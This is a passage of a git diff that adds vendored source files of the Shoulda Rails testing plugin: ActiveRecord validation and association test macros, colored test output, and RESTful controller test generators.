ThoughtBot::Shoulda::ActiveRecord + end + end + end +end + +module ActionController #:nodoc: all + module Integration + class Session + include ThoughtBot::Shoulda::General + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/active_record_helpers.rb b/vendor/plugins/shoulda/lib/shoulda/active_record_helpers.rb new file mode 100644 index 0000000..8c01577 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/active_record_helpers.rb @@ -0,0 +1,446 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + # = Macro test helpers for your active record models + # + # These helpers will test most of the validations and associations for your ActiveRecord models. + # + # class UserTest < Test::Unit::TestCase + # should_require_attributes :name, :phone_number + # should_not_allow_values_for :phone_number, "abcd", "1234" + # should_allow_values_for :phone_number, "(123) 456-7890" + # + # should_protect_attributes :password + # + # should_have_one :profile + # should_have_many :dogs + # should_have_many :messes, :through => :dogs + # should_belong_to :lover + # end + # + # For all of these helpers, the last parameter may be a hash of options. + # + module ActiveRecord + # Ensures that the model cannot be saved if one of the attributes listed is not present. + # Requires an existing record. + # + # Options: + # * :message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /blank/ + # + # Example: + # should_require_attributes :name, :phone_number + # + def should_require_attributes(*attributes) + message = get_options!(attributes, :message) + message ||= /blank/ + klass = model_class + + attributes.each do |attribute| + should "require #{attribute} to be set" do + object = klass.new + assert !object.valid?, "#{klass.name} does not require #{attribute}." + assert object.errors.on(attribute), "#{klass.name} does not require #{attribute}." + assert_contains(object.errors.on(attribute), message) + end + end + end + + # Ensures that the model cannot be saved if one of the attributes listed is not unique. + # Requires an existing record + # + # Options: + # * :message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /taken/ + # + # Example: + # should_require_unique_attributes :keyword, :username + # + def should_require_unique_attributes(*attributes) + message, scope = get_options!(attributes, :message, :scoped_to) + message ||= /taken/ + + klass = model_class + attributes.each do |attribute| + attribute = attribute.to_sym + should "require unique value for #{attribute}#{" scoped to #{scope}" if scope}" do + assert existing = klass.find(:first), "Can't find first #{klass}" + object = klass.new + + object.send(:"#{attribute}=", existing.send(attribute)) + if scope + assert_respond_to object, :"#{scope}=", "#{klass.name} doesn't seem to have a #{scope} attribute." + object.send(:"#{scope}=", existing.send(scope)) + end + + assert !object.valid?, "#{klass.name} does not require a unique value for #{attribute}." + assert object.errors.on(attribute), "#{klass.name} does not require a unique value for #{attribute}." + + assert_contains(object.errors.on(attribute), message) + + if scope + # Now test that the object is valid when changing the scoped attribute + # TODO: actually find all values for scope and create a unique one. + object.send(:"#{scope}=", existing.send(scope).nil? ? 1 : existing.send(scope).next) + object.errors.clear + object.valid? + assert_does_not_contain(object.errors.on(attribute), message, + "after :#{scope} set to #{object.send(scope.to_sym)}") + end + end + end + end + + # Ensures that the attribute cannot be set on update + # Requires an existing record + # + # should_protect_attributes :password, :admin_flag + # + def should_protect_attributes(*attributes) + get_options!(attributes) + klass = model_class + attributes.each do |attribute| + attribute = attribute.to_sym + should "not allow #{attribute} to be changed by update" do + assert object = klass.find(:first), "Can't find first #{klass}" + value = object[attribute] + # TODO: 1 may not be a valid value for the attribute (due to validations) + assert object.update_attributes({ attribute => 1 }), + "Cannot update #{klass} with { :#{attribute} => 1 }, #{object.errors.full_messages.to_sentence}" + assert object.valid?, "#{klass} isn't valid after changing #{attribute}" + assert_equal value, object[attribute], "Was able to change #{klass}##{attribute}" + end + end + end + + # Ensures that the attribute cannot be set to the given values + # Requires an existing record + # + # Options: + # * :message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /invalid/ + # + # Example: + # should_not_allow_values_for :isbn, "bad 1", "bad 2" + # + def should_not_allow_values_for(attribute, *bad_values) + message = get_options!(bad_values, :message) + message ||= /invalid/ + klass = model_class + bad_values.each do |v| + should "not allow #{attribute} to be set to \"#{v}\"" do + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", v) + assert !object.save, "Saved #{klass} with #{attribute} set to \"#{v}\"" + assert object.errors.on(attribute), "There are no errors set on #{attribute} after being set to \"#{v}\"" + assert_contains(object.errors.on(attribute), message, "when set to \"#{v}\"") + end + end + end + + # Ensures that the attribute can be set to the given values. + # Requires an existing record + # + # Options: + # * :message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /invalid/ + # + # Example: + # should_allow_values_for :isbn, "isbn 1 2345 6789 0", "ISBN 1-2345-6789-0" + # + def should_allow_values_for(attribute, *good_values) + message = get_options!(good_values, :message) + message ||= /invalid/ + klass = model_class + good_values.each do |v| + should "allow #{attribute} to be set to \"#{v}\"" do + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", v) + object.save + assert_does_not_contain(object.errors.on(attribute), message, "when set to \"#{v}\"") + end + end + end + + # Ensures that the length of the attribute is in the given range + # Requires an existing record + # + # Options: + # * :short_message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /short/ + # * :long_message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /long/ + # + # Example: + # should_ensure_length_in_range :password, (6..20) + # + def should_ensure_length_in_range(attribute, range, opts = {}) + short_message, long_message = get_options!([opts], :short_message, :long_message) + short_message ||= /short/ + long_message ||= /long/ + + klass = model_class + min_length = range.first + max_length = range.last + + if min_length > 0 + min_value = "x" * (min_length - 1) + should "not allow #{attribute} to be less than #{min_length} chars long" do + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", min_value) + assert !object.save, "Saved #{klass} with #{attribute} set to \"#{min_value}\"" + assert object.errors.on(attribute), "There are no errors set on #{attribute} after being set to \"#{min_value}\"" + assert_contains(object.errors.on(attribute), short_message, "when set to \"#{min_value}\"") + end + end + + max_value = "x" * (max_length + 1) + should "not allow #{attribute} to be more than #{max_length} chars long" do + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", max_value) + assert !object.save, "Saved #{klass} with #{attribute} set to \"#{max_value}\"" + assert object.errors.on(attribute), "There are no errors set on #{attribute} after being set to \"#{max_value}\"" + assert_contains(object.errors.on(attribute), long_message, "when set to \"#{max_value}\"") + end + end + + # Ensure that the attribute is in the range specified + # Requires an existing record + # + # Options: + # * :low_message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /included/ + # * :high_message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /included/ + # + # Example: + # should_ensure_value_in_range :age, (0..100) + # + def should_ensure_value_in_range(attribute, range, opts = {}) + low_message, high_message = get_options!([opts], :low_message, :high_message) + low_message ||= /included/ + high_message ||= /included/ + + klass = model_class + min = range.first + max = range.last + + should "not allow #{attribute} to be less than #{min}" do + v = min - 1 + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", v) + assert !object.save, "Saved #{klass} with #{attribute} set to \"#{v}\"" + assert object.errors.on(attribute), "There are no errors set on #{attribute} after being set to \"#{v}\"" + assert_contains(object.errors.on(attribute), low_message, "when set to \"#{v}\"") + end + + should "not allow #{attribute} to be more than #{max}" do + v = max + 1 + assert object = klass.find(:first), "Can't find first #{klass}" + object.send("#{attribute}=", v) + assert !object.save, "Saved #{klass} with #{attribute} set to \"#{v}\"" + assert object.errors.on(attribute), "There are no errors set on #{attribute} after being set to \"#{v}\"" + assert_contains(object.errors.on(attribute), high_message, "when set to \"#{v}\"") + end + end + + # Ensure that the attribute is numeric + # Requires an existing record + # + # Options: + # * :message - value the test expects to find in errors.on(:attribute). + # Regexp or string. Default = /number/ + # + # Example: + # should_only_allow_numeric_values_for :age + # + def should_only_allow_numeric_values_for(*attributes) + message = get_options!(attributes, :message) + message ||= /number/ + klass = model_class + attributes.each do |attribute| + attribute = attribute.to_sym + should "only allow numeric values for #{attribute}" do + assert object = klass.find(:first), "Can't find first #{klass}" + object.send(:"#{attribute}=", "abcd") + assert !object.valid?, "Instance is still valid" + assert_contains(object.errors.on(attribute), message) + end + end + end + + # Ensures that the has_many relationship exists. + # + # Options: + # * :through - association name for has_many :through + # + # Example: + # should_have_many :friends + # should_have_many :enemies, :through => :friends + # + def should_have_many(*associations) + through = get_options!(associations, :through) + klass = model_class + associations.each do |association| + name = "have many #{association}" + name += " through #{through}" if through + should name do + reflection = klass.reflect_on_association(association) + assert reflection, "#{klass.name} does not have any relationship to #{association}" + assert_equal :has_many, reflection.macro + + if through + through_reflection = klass.reflect_on_association(through) + assert through_reflection, "#{klass.name} does not have any relationship to #{through}" + assert_equal(through, reflection.options[:through]) + end + + unless reflection.options[:through] + # This is not a through association, so check for the existence of the foreign key on the other table + if reflection.options[:foreign_key] + fk = reflection.options[:foreign_key] + elsif reflection.options[:as] + fk = reflection.options[:as].to_s.foreign_key + else + fk = klass.name.foreign_key + end + associated_klass = (reflection.options[:class_name] || association.to_s.classify).constantize + assert associated_klass.column_names.include?(fk.to_s), "#{associated_klass.name} does not have a #{fk} foreign key." + end + end + end + end + + # Ensures that the has_and_belongs_to_many relationship exists. + # + # should_have_and_belong_to_many :posts, :cars + # + def should_have_and_belong_to_many(*associations) + get_options!(associations) + klass = model_class + associations.each do |association| + should "should have and belong to many #{association}" do + assert klass.reflect_on_association(association), "#{klass.name} does not have any relationship to #{association}" + assert_equal :has_and_belongs_to_many, klass.reflect_on_association(association).macro + end + end + end + + # Ensure that the has_one relationship exists. + # + # should_have_one :god # unless hindu + # + def should_have_one(*associations) + get_options!(associations) + klass = model_class + associations.each do |association| + should "have one #{association}" do + reflection = klass.reflect_on_association(association) + assert reflection, "#{klass.name} does not have any relationship to #{association}" + assert_equal :has_one, reflection.macro + + if reflection.options[:foreign_key] + fk = reflection.options[:foreign_key] + elsif reflection.options[:as] + fk = reflection.options[:as].to_s.foreign_key + else + fk = klass.name.foreign_key + end + associated_klass = (reflection.options[:class_name] || association.to_s.classify).constantize + assert associated_klass.column_names.include?(fk.to_s), "#{associated_klass.name} does not have a #{fk} foreign key." + end + end + end + + # Ensure that the belongs_to relationship exists. + # + # should_belong_to :parent + # + def should_belong_to(*associations) + get_options!(associations) + klass = model_class + associations.each do |association| + should "belong_to #{association}" do + reflection = klass.reflect_on_association(association) + assert reflection, "#{klass.name} does not have any relationship to #{association}" + assert_equal :belongs_to, reflection.macro + + unless reflection.options[:polymorphic] + associated_klass = (reflection.options[:class_name] || association.to_s.classify).constantize + fk = reflection.options[:foreign_key] || associated_klass.name.foreign_key + assert klass.column_names.include?(fk.to_s), "#{klass.name} does not have a #{fk} foreign key." + end + end + end + end + + # Ensure that the given class methods are defined on the model. + # + # should_have_class_methods :find, :destroy + # + def should_have_class_methods(*methods) + get_options!(methods) + klass = model_class + methods.each do |method| + should "respond to class method #{method}" do + assert_respond_to klass, method, "#{klass.name} does not have class method #{method}" + end + end + end + + # Ensure that the given instance methods are defined on the model. + # + # should_have_instance_methods :email, :name, :name= + # + def should_have_instance_methods(*methods) + get_options!(methods) + klass = model_class + methods.each do |method| + should "respond to instance method #{method}" do + assert_respond_to klass.new, method, "#{klass.name} does not have instance method #{method}" + end + end + end + + # Ensure that the given columns are defined on the models backing SQL table. + # + # should_have_db_columns :id, :email, :name, :created_at + # + def should_have_db_columns(*columns) + column_type = get_options!(columns, :type) + klass = model_class + columns.each do |name| + test_name = "have column #{name}" + test_name += " of type #{column_type}" if column_type + should test_name do + column = klass.columns.detect {|c| c.name == name.to_s } + assert column, "#{klass.name} does not have column #{name}" + end + end + end + + # Ensure that the given column is defined on the models backing SQL table. The options are the same as + # the instance variables defined on the column definition: :precision, :limit, :default, :null, + # :primary, :type, :scale, and :sql_type. + # + # should_have_db_column :email, :type => "string", :default => nil, :precision => nil, :limit => 255, + # :null => true, :primary => false, :scale => nil, :sql_type => 'varchar(255)' + # + def should_have_db_column(name, opts = {}) + klass = model_class + test_name = "have column named :#{name}" + test_name += " with options " + opts.inspect unless opts.empty? + should test_name do + column = klass.columns.detect {|c| c.name == name.to_s } + assert column, "#{klass.name} does not have column #{name}" + opts.each do |k, v| + assert_equal column.instance_variable_get("@#{k}").to_s, v.to_s, ":#{name} column on table for #{klass} does not match option :#{k}" + end + end + end + + private + + include ThoughtBot::Shoulda::Private + end + end +end \ No newline at end of file diff --git a/vendor/plugins/shoulda/lib/shoulda/color.rb b/vendor/plugins/shoulda/lib/shoulda/color.rb new file mode 100644 index 0000000..1ccfad2 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/color.rb @@ -0,0 +1,77 @@ +require 'test/unit/ui/console/testrunner' + +# Completely stolen from redgreen gem +# +# Adds colored output to your tests. Specify color: true in +# your ~/.shoulda.conf file to enable. +# +# *Bug*: for some reason, this adds another line of output to the end of +# every rake task, as though there was another (empty) set of tests. +# A fix would be most welcome. +# +module ThoughtBot::Shoulda::Color + COLORS = { :clear => 0, :red => 31, :green => 32, :yellow => 33 } # :nodoc: + def self.method_missing(color_name, *args) # :nodoc: + color(color_name) + args.first + color(:clear) + end + def self.color(color) # :nodoc: + "\e[#{COLORS[color.to_sym]}m" + end +end + +module Test # :nodoc: + module Unit # :nodoc: + class TestResult # :nodoc: + alias :old_to_s :to_s + def to_s + if old_to_s =~ /\d+ tests, \d+ assertions, (\d+) failures, (\d+) errors/ + ThoughtBot::Shoulda::Color.send($1.to_i != 0 || $2.to_i != 0 ? :red : :green, $&) + end + end + end + + class AutoRunner # :nodoc: + alias :old_initialize :initialize + def initialize(standalone) + old_initialize(standalone) + @runner = proc do |r| + Test::Unit::UI::Console::RedGreenTestRunner + end + end + end + + class Failure # :nodoc: + alias :old_long_display :long_display + def long_display + # old_long_display.sub('Failure', ThoughtBot::Shoulda::Color.red('Failure')) + ThoughtBot::Shoulda::Color.red(old_long_display) + end + end + + class Error # :nodoc: + alias :old_long_display :long_display + def long_display + # old_long_display.sub('Error', ThoughtBot::Shoulda::Color.yellow('Error')) + ThoughtBot::Shoulda::Color.yellow(old_long_display) + end + end + + module UI # :nodoc: + module Console # :nodoc: + class RedGreenTestRunner < Test::Unit::UI::Console::TestRunner # :nodoc: + def output_single(something, level=NORMAL) + return unless (output?(level)) + something = case something + when '.' then ThoughtBot::Shoulda::Color.green('.') + when 'F' then ThoughtBot::Shoulda::Color.red("F") + when 'E' then ThoughtBot::Shoulda::Color.yellow("E") + else something + end + @io.write(something) + @io.flush + end + end + end + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/controller_tests/controller_tests.rb b/vendor/plugins/shoulda/lib/shoulda/controller_tests/controller_tests.rb new file mode 100644 index 0000000..dc1a60a --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/controller_tests/controller_tests.rb @@ -0,0 +1,465 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + module Controller + def self.included(other) # :nodoc: + other.class_eval do + extend ThoughtBot::Shoulda::Controller::ClassMethods + include ThoughtBot::Shoulda::Controller::InstanceMethods + ThoughtBot::Shoulda::Controller::ClassMethods::VALID_FORMATS.each do |format| + include "ThoughtBot::Shoulda::Controller::#{format.to_s.upcase}".constantize + end + end + end + + # = Macro test helpers for your controllers + # + # By using the macro helpers you can quickly and easily create concise and easy to read test suites. + # + # This code segment: + # context "on GET to :show for first record" do + # setup do + # get :show, :id => 1 + # end + # + # should_assign_to :user + # should_respond_with :success + # should_render_template :show + # should_not_set_the_flash + # + # should "do something else really cool" do + # assert_equal 1, assigns(:user).id + # end + # end + # + # Would produce 5 tests for the +show+ action + # + # Furthermore, the should_be_restful helper will create an entire set of tests which will verify that your + # controller responds restfully to a variety of requested formats. + module ClassMethods + # Formats tested by #should_be_restful. Defaults to [:html, :xml] + VALID_FORMATS = Dir.glob(File.join(File.dirname(__FILE__), 'formats', '*.rb')).map { |f| File.basename(f, '.rb') }.map(&:to_sym) # :doc: + VALID_FORMATS.each {|f| require "shoulda/controller_tests/formats/#{f}.rb"} + + # Actions tested by #should_be_restful + VALID_ACTIONS = [:index, :show, :new, :edit, :create, :update, :destroy] # :doc: + + # A ResourceOptions object is passed into should_be_restful in order to configure the tests for your controller. + # + # Example: + # class UsersControllerTest < Test::Unit::TestCase + # load_all_fixtures + # + # def setup + # ...normal setup code... + # @user = User.find(:first) + # end + # + # should_be_restful do |resource| + # resource.identifier = :id + # resource.klass = User + # resource.object = :user + # resource.parent = [] + # resource.actions = [:index, :show, :new, :edit, :update, :create, :destroy] + # resource.formats = [:html, :xml] + # + # resource.create.params = { :name => "bob", :email => 'bob@bob.com', :age => 13} + # resource.update.params = { :name => "sue" } + # + # resource.create.redirect = "user_url(@user)" + # resource.update.redirect = "user_url(@user)" + # resource.destroy.redirect = "users_url" + # + # resource.create.flash = /created/i + # resource.update.flash = /updated/i + # resource.destroy.flash = /removed/i + # end + # end + # + # Whenever possible, the resource attributes will be set to sensible defaults. + # + class ResourceOptions + # Configuration options for the create, update, destroy actions under should_be_restful + class ActionOptions + # String evaled to get the target of the redirection. + # All of the instance variables set by the controller will be available to the + # evaled code. + # + # Example: + # resource.create.redirect = "user_url(@user.company, @user)" + # + # Defaults to a generated url based on the name of the controller, the action, and the resource.parents list. + attr_accessor :redirect + + # String or Regexp describing a value expected in the flash. Will match against any flash key. + # + # Defaults: + # destroy:: /removed/ + # create:: /created/ + # update:: /updated/ + attr_accessor :flash + + # Hash describing the params that should be sent in with this action. + attr_accessor :params + end + + # Configuration options for the denied actions under should_be_restful + # + # Example: + # context "The public" do + # setup do + # @request.session[:logged_in] = false + # end + # + # should_be_restful do |resource| + # resource.parent = :user + # + # resource.denied.actions = [:index, :show, :edit, :new, :create, :update, :destroy] + # resource.denied.flash = /get outta here/i + # resource.denied.redirect = 'new_session_url' + # end + # end + # + class DeniedOptions + # String evaled to get the target of the redirection. + # All of the instance variables set by the controller will be available to the + # evaled code. + # + # Example: + # resource.create.redirect = "user_url(@user.company, @user)" + attr_accessor :redirect + + # String or Regexp describing a value expected in the flash. Will match against any flash key. + # + # Example: + # resource.create.flash = /created/ + attr_accessor :flash + + # Actions that should be denied (only used by resource.denied). Note that these actions will + # only be tested if they are also listed in +resource.actions+ + # The special value of :all will deny all of the REST actions. + attr_accessor :actions + end + + # Name of key in params that references the primary key. + # Will almost always be :id (default), unless you are using a plugin or have patched rails. + attr_accessor :identifier + + # Name of the ActiveRecord class this resource is responsible for. Automatically determined from + # test class if not explicitly set. UserTest => :user + attr_accessor :klass + + # Name of the instantiated ActiveRecord object that should be used by some of the tests. + # Defaults to the underscored name of the AR class. CompanyManager => :company_manager + attr_accessor :object + + # Name of the parent AR objects. + # + # Example: + # # in the routes... + # map.resources :companies do + # map.resources :people do + # map.resources :limbs + # end + # end + # + # # in the tests... + # class PeopleControllerTest < Test::Unit::TestCase + # should_be_restful do |resource| + # resource.parent = :companies + # end + # end + # + # class LimbsControllerTest < Test::Unit::TestCase + # should_be_restful do |resource| + # resource.parents = [:companies, :people] + # end + # end + attr_accessor :parent + alias parents parent + alias parents= parent= + + # Actions that should be tested. Must be a subset of VALID_ACTIONS (default). + # Tests for each actionw will only be generated if the action is listed here. + # The special value of :all will test all of the REST actions. + # + # Example (for a read-only controller): + # resource.actions = [:show, :index] + attr_accessor :actions + + # Formats that should be tested. Must be a subset of VALID_FORMATS (default). + # Each action will be tested against the formats listed here. The special value + # of :all will test all of the supported formats. + # + # Example: + # resource.actions = [:html, :xml] + attr_accessor :formats + + # ActionOptions object specifying options for the create action. + attr_accessor :create + + # ActionOptions object specifying options for the update action. + attr_accessor :update + + # ActionOptions object specifying options for the desrtoy action. + attr_accessor :destroy + + # DeniedOptions object specifying which actions should return deny a request, and what should happen in that case. + attr_accessor :denied + + def initialize # :nodoc: + @create = ActionOptions.new + @update = ActionOptions.new + @destroy = ActionOptions.new + @denied = DeniedOptions.new + + @create.flash ||= /created/i + @update.flash ||= /updated/i + @destroy.flash ||= /removed/i + @denied.flash ||= /denied/i + + @create.params ||= {} + @update.params ||= {} + + @actions = VALID_ACTIONS + @formats = VALID_FORMATS + @denied.actions = [] + end + + def normalize!(target) # :nodoc: + @denied.actions = VALID_ACTIONS if @denied.actions == :all + @actions = VALID_ACTIONS if @actions == :all + @formats = VALID_FORMATS if @formats == :all + + @denied.actions = @denied.actions.map(&:to_sym) + @actions = @actions.map(&:to_sym) + @formats = @formats.map(&:to_sym) + + ensure_valid_members(@actions, VALID_ACTIONS, 'actions') + ensure_valid_members(@denied.actions, VALID_ACTIONS, 'denied.actions') + ensure_valid_members(@formats, VALID_FORMATS, 'formats') + + @identifier ||= :id + @klass ||= target.name.gsub(/ControllerTest$/, '').singularize.constantize + @object ||= @klass.name.tableize.singularize + @parent ||= [] + @parent = [@parent] unless @parent.is_a? Array + + collection_helper = [@parent, @object.pluralize, 'url'].flatten.join('_') + collection_args = @parent.map {|n| "@#{object}.#{n}"}.join(', ') + @destroy.redirect ||= "#{collection_helper}(#{collection_args})" + + member_helper = [@parent, @object, 'url'].flatten.join('_') + member_args = [@parent.map {|n| "@#{object}.#{n}"}, "@#{object}"].flatten.join(', ') + @create.redirect ||= "#{member_helper}(#{member_args})" + @update.redirect ||= "#{member_helper}(#{member_args})" + @denied.redirect ||= "new_session_url" + end + + private + + def ensure_valid_members(ary, valid_members, name) # :nodoc: + invalid = ary - valid_members + raise ArgumentError, "Unsupported #{name}: #{invalid.inspect}" unless invalid.empty? + end + end + + # :section: should_be_restful + # Generates a full suite of tests for a restful controller. + # + # The following definition will generate tests for the +index+, +show+, +new+, + # +edit+, +create+, +update+ and +destroy+ actions, in both +html+ and +xml+ formats: + # + # should_be_restful do |resource| + # resource.parent = :user + # + # resource.create.params = { :title => "first post", :body => 'blah blah blah'} + # resource.update.params = { :title => "changed" } + # end + # + # This generates about 40 tests, all of the format: + # "on GET to :show should assign @user." + # "on GET to :show should not set the flash." + # "on GET to :show should render 'show' template." + # "on GET to :show should respond with success." + # "on GET to :show as xml should assign @user." + # "on GET to :show as xml should have ContentType set to 'application/xml'." + # "on GET to :show as xml should respond with success." + # "on GET to :show as xml should return as the root element." + # The +resource+ parameter passed into the block is a ResourceOptions object, and + # is used to configure the tests for the details of your resources. + # + def should_be_restful(&blk) # :yields: resource + resource = ResourceOptions.new + blk.call(resource) + resource.normalize!(self) + + resource.formats.each do |format| + resource.actions.each do |action| + if self.respond_to? :"make_#{action}_#{format}_tests" + self.send(:"make_#{action}_#{format}_tests", resource) + else + should "test #{action} #{format}" do + flunk "Test for #{action} as #{format} not implemented" + end + end + end + end + end + + # :section: Test macros + + # Macro that creates a test asserting that the flash contains the given value. + # val can be a String, a Regex, or nil (indicating that the flash should not be set) + # + # Example: + # + # should_set_the_flash_to "Thank you for placing this order." + # should_set_the_flash_to /created/i + # should_set_the_flash_to nil + def should_set_the_flash_to(val) + if val + should "have #{val.inspect} in the flash" do + assert_contains flash.values, val, ", Flash: #{flash.inspect}" + end + else + should "not set the flash" do + assert_equal({}, flash, "Flash was set to:\n#{flash.inspect}") + end + end + end + + # Macro that creates a test asserting that the flash is empty. Same as + # @should_set_the_flash_to nil@ + def should_not_set_the_flash + should_set_the_flash_to nil + end + + # Macro that creates a test asserting that the controller assigned to @name + # + # Example: + # + # should_assign_to :user + def should_assign_to(name) + should "assign @#{name}" do + assert assigns(name.to_sym), "The action isn't assigning to @#{name}" + end + end + + # Macro that creates a test asserting that the controller did not assign to @name + # + # Example: + # + # should_not_assign_to :user + def should_not_assign_to(name) + should "not assign to @#{name}" do + assert !assigns(name.to_sym), "@#{name} was visible" + end + end + + # Macro that creates a test asserting that the controller responded with a 'response' status code. + # Example: + # + # should_respond_with :success + def should_respond_with(response) + should "respond with #{response}" do + assert_response response + end + end + + # Macro that creates a test asserting that the controller rendered the given template. + # Example: + # + # should_render_template :new + def should_render_template(template) + should "render '#{template}' template" do + assert_template template.to_s + end + end + + # Macro that creates a test asserting that the controller returned a redirect to the given path. + # The given string is evaled to produce the resulting redirect path. All of the instance variables + # set by the controller are available to the evaled string. + # Example: + # + # should_redirect_to '"/"' + # should_redirect_to "users_url(@user)" + def should_redirect_to(url) + should "redirect to \"#{url}\"" do + instantiate_variables_from_assigns do + assert_redirected_to eval(url, self.send(:binding), __FILE__, __LINE__) + end + end + end + + # Macro that creates a test asserting that the rendered view contains a
    element. + def should_render_a_form + should "display a form" do + assert_select "form", true, "The template doesn't contain a element" + end + end + end + + module InstanceMethods # :nodoc: + + private # :enddoc: + + SPECIAL_INSTANCE_VARIABLES = %w{ + _cookies + _flash + _headers + _params + _request + _response + _session + action_name + before_filter_chain_aborted + cookies + flash + headers + ignore_missing_templates + logger + params + request + request_origin + response + session + template + template_class + template_root + url + variables_added + }.map(&:to_s) + + def instantiate_variables_from_assigns(*names, &blk) + old = {} + names = (@response.template.assigns.keys - SPECIAL_INSTANCE_VARIABLES) if names.empty? + names.each do |name| + old[name] = instance_variable_get("@#{name}") + instance_variable_set("@#{name}", assigns(name.to_sym)) + end + blk.call + names.each do |name| + instance_variable_set("@#{name}", old[name]) + end + end + + def get_existing_record(res) # :nodoc: + returning(instance_variable_get("@#{res.object}")) do |record| + assert(record, "This test requires you to set @#{res.object} in your setup block") + end + end + + def make_parent_params(resource, record = nil, parent_names = nil) # :nodoc: + parent_names ||= resource.parents.reverse + return {} if parent_names == [] # Base case + parent_name = parent_names.shift + parent = record ? record.send(parent_name) : parent_name.to_s.classify.constantize.find(:first) + + { :"#{parent_name}_id" => parent.id }.merge(make_parent_params(resource, parent, parent_names)) + end + + end + end + end +end + diff --git a/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/html.rb b/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/html.rb new file mode 100644 index 0000000..a5c3c09 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/html.rb @@ -0,0 +1,195 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + module Controller # :nodoc: + module HTML # :nodoc: all + def self.included(other) + other.class_eval do + extend ThoughtBot::Shoulda::Controller::HTML::ClassMethods + end + end + + module ClassMethods + def make_show_html_tests(res) + context "on GET to :show" do + setup do + record = get_existing_record(res) + parent_params = make_parent_params(res, record) + get :show, parent_params.merge({ res.identifier => record.to_param }) + end + + if res.denied.actions.include?(:show) + should_not_assign_to res.object + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + else + should_assign_to res.object + should_respond_with :success + should_render_template :show + should_not_set_the_flash + end + end + end + + def make_edit_html_tests(res) + context "on GET to :edit" do + setup do + @record = get_existing_record(res) + parent_params = make_parent_params(res, @record) + get :edit, parent_params.merge({ res.identifier => @record.to_param }) + end + + if res.denied.actions.include?(:edit) + should_not_assign_to res.object + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + else + should_assign_to res.object + should_respond_with :success + should_render_template :edit + should_not_set_the_flash + should_render_a_form + should "set @#{res.object} to requested instance" do + assert_equal @record, assigns(res.object) + end + end + end + end + + def make_index_html_tests(res) + context "on GET to :index" do + setup do + record = get_existing_record(res) rescue nil + parent_params = make_parent_params(res, record) + get(:index, parent_params) + end + + if res.denied.actions.include?(:index) + should_not_assign_to res.object.to_s.pluralize + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + else + should_respond_with :success + should_assign_to res.object.to_s.pluralize + should_render_template :index + should_not_set_the_flash + end + end + end + + def make_new_html_tests(res) + context "on GET to :new" do + setup do + record = get_existing_record(res) rescue nil + parent_params = make_parent_params(res, record) + get(:new, parent_params) + end + + if res.denied.actions.include?(:new) + should_not_assign_to res.object + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + else + should_respond_with :success + should_assign_to res.object + should_not_set_the_flash + should_render_template :new + should_render_a_form + end + end + end + + def make_destroy_html_tests(res) + context "on DELETE to :destroy" do + setup do + @record = get_existing_record(res) + parent_params = make_parent_params(res, @record) + delete :destroy, parent_params.merge({ res.identifier => @record.to_param }) + end + + if res.denied.actions.include?(:destroy) + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + + should "not destroy record" do + assert_nothing_raised { assert @record.reload } + end + else + should_set_the_flash_to res.destroy.flash + if res.destroy.redirect.is_a? Symbol + should_respond_with res.destroy.redirect + else + should_redirect_to res.destroy.redirect + end + + should "destroy record" do + assert_raises(::ActiveRecord::RecordNotFound) { @record.reload } + end + end + end + end + + def make_create_html_tests(res) + context "on POST to :create with #{res.create.params.inspect}" do + setup do + record = get_existing_record(res) rescue nil + parent_params = make_parent_params(res, record) + @count = res.klass.count + post :create, parent_params.merge(res.object => res.create.params) + end + + if res.denied.actions.include?(:create) + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + should_not_assign_to res.object + + should "not create new record" do + assert_equal @count, res.klass.count + end + else + should_assign_to res.object + should_set_the_flash_to res.create.flash + if res.create.redirect.is_a? Symbol + should_respond_with res.create.redirect + else + should_redirect_to res.create.redirect + end + + should "not have errors on @#{res.object}" do + assert_equal [], assigns(res.object).errors.full_messages, "@#{res.object} has errors:" + end + end + end + end + + def make_update_html_tests(res) + context "on PUT to :update with #{res.create.params.inspect}" do + setup do + @record = get_existing_record(res) + parent_params = make_parent_params(res, @record) + put :update, parent_params.merge(res.identifier => @record.to_param, res.object => res.update.params) + end + + if res.denied.actions.include?(:update) + should_not_assign_to res.object + should_redirect_to res.denied.redirect + should_set_the_flash_to res.denied.flash + else + should_assign_to res.object + should_set_the_flash_to(res.update.flash) + if res.update.redirect.is_a? Symbol + should_respond_with res.update.redirect + else + should_redirect_to res.update.redirect + end + + should "not have errors on @#{res.object}" do + assert_equal [], assigns(res.object).errors.full_messages, "@#{res.object} has errors:" + end + end + end + end + end + end + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/xml.rb b/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/xml.rb new file mode 100644 index 0000000..c6cfe5f --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/controller_tests/formats/xml.rb @@ 